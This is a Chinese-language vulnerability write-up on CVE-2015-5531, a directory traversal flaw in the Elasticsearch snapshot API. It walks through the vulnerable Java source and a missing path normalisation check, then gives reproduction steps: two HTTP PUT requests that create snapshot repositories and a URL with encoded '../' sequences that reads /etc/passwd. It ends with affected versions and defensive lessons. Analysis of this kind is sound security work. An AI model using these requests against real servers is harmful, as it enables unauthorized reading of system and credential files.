CVE-2015-5531源码分析与漏洞复现(Elasticsearch目录遍历漏洞)

发布于:2025-06-28 ⋅ 阅读:(18) ⋅ 点赞:(0)

概述

漏洞名称:Elasticsearch 快照API目录遍历漏洞
CVE 编号:CVE-2015-5531
CVSS 评分:7.5
影响版本
Elasticsearch 1.0.0–1.6.0(1.5.1及以前版本无需配置即可触发;1.5.2–1.6.0需配置path.repo
修复版本:≥ 1.6.1
漏洞类型:目录遍历 → 任意文件读取
根本原因
Elasticsearch 快照API未对用户输入的存储路径进行规范化校验,攻击者可通过构造含../的恶意路径参数,绕过目录限制读取服务器任意文件(如/etc/passwd、配置文件或敏感数据)。


源码分析

漏洞位置:org.elasticsearch.repositories.fs.FsRepository

public class FsRepository extends BlobStoreRepository {
    @Inject
    public FsRepository(RepositoryName name, RepositorySettings repositorySettings, 
                        Environment environment) throws IOException {
        // 关键漏洞点1:获取location参数(用户可控)
        String location = repositorySettings.settings().get("location", 
                    this.componentSettings.get("location"));
        
        // 关键漏洞点2:解析路径但未规范化
        File locationFile = environment.resolveRepoFile(location);
        
        // 关键漏洞点3:创建文件系统访问对象
        this.blobStore = new FsBlobStore(this.componentSettings, locationFile);
    }
}

漏洞核心:FsBlobStore 构造器

public FsBlobStore(Settings settings, File file) {
    this.file = file; // 直接存储未规范化的用户输入路径
    this.bufferSizeInBytes = (int) settings.getAsBytes("buffer_size", 102400).bytes();
}

漏洞触发链

攻击者 FsRepository Environment.resolveRepoFile FsBlobStore FileSystem SnapshotAPI 创建仓库(location="repo/../../../../") 解析路径 返回未规范化路径对象 传入恶意路径 存储路径引用 创建快照(snapshot="passwd") 访问repo/../../../../passwd 读取/etc/passwd 返回敏感文件内容 攻击者 FsRepository Environment.resolveRepoFile FsBlobStore FileSystem SnapshotAPI

漏洞根源分析

  1. 路径解析缺陷

    • environment.resolveRepoFile() 仅验证路径是否在 path.repo 配置范围内
    • 但允许路径包含 ../ 序列(如 valid_path/../../../etc
  2. 缺少规范化校验

    // 应有但缺失的安全检查
    Path normalized = locationFile.toPath().normalize();
    if (!normalized.startsWith(environment.repoFiles()[0].toPath())) {
        throw new SecurityException("Path traversal attempt");
    }
    
  3. 无快照名称过滤

    • 快照名称直接拼接路径(location + "/" + snapshot
    • 未过滤 snapshot 中的特殊字符

漏洞复现

1. 手动复现步骤

(1)创建恶意仓库

PUT /_snapshot/test HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108

{
    "type": "fs",
    "settings": {
        "location": "/usr/share/elasticsearch/repo/test" 
    }
}

在这里插入图片描述

(2)注入路径遍历字符创建快照

PUT /_snapshot/test2 HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108

{
    "type": "fs",
    "settings": {
        "location": "/usr/share/elasticsearch/repo/test/snapshot-backdata" 
    }
}

在这里插入图片描述

(3)读取任意文件

http://your-ip:9200/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

在这里插入图片描述

ascii解码
在这里插入图片描述


影响范围

受影响版本

分支 受影响版本 安全版本
1.0.x–1.4.x 全版本 无官方更新
1.5.x 1.5.0–1.5.1 ≥ 1.6.1
1.6.x ≤ 1.6.0 ≥ 1.6.1

漏洞启示

  1. 零信任路径处理:所有用户输入路径必须经绝对路径规范化 + 子目录校验(参考OWASP路径遍历防护指南)。
  2. 最小权限原则:备份目录需独立配置,且Elasticsearch进程权限应限制为仅能读写必要目录。
  3. 纵深防御:结合应用层补丁、网络隔离(防火墙规则)和文件监控(Auditd日志审计)多层防护。

网站公告

今日签到

点亮在社区的每一天
去签到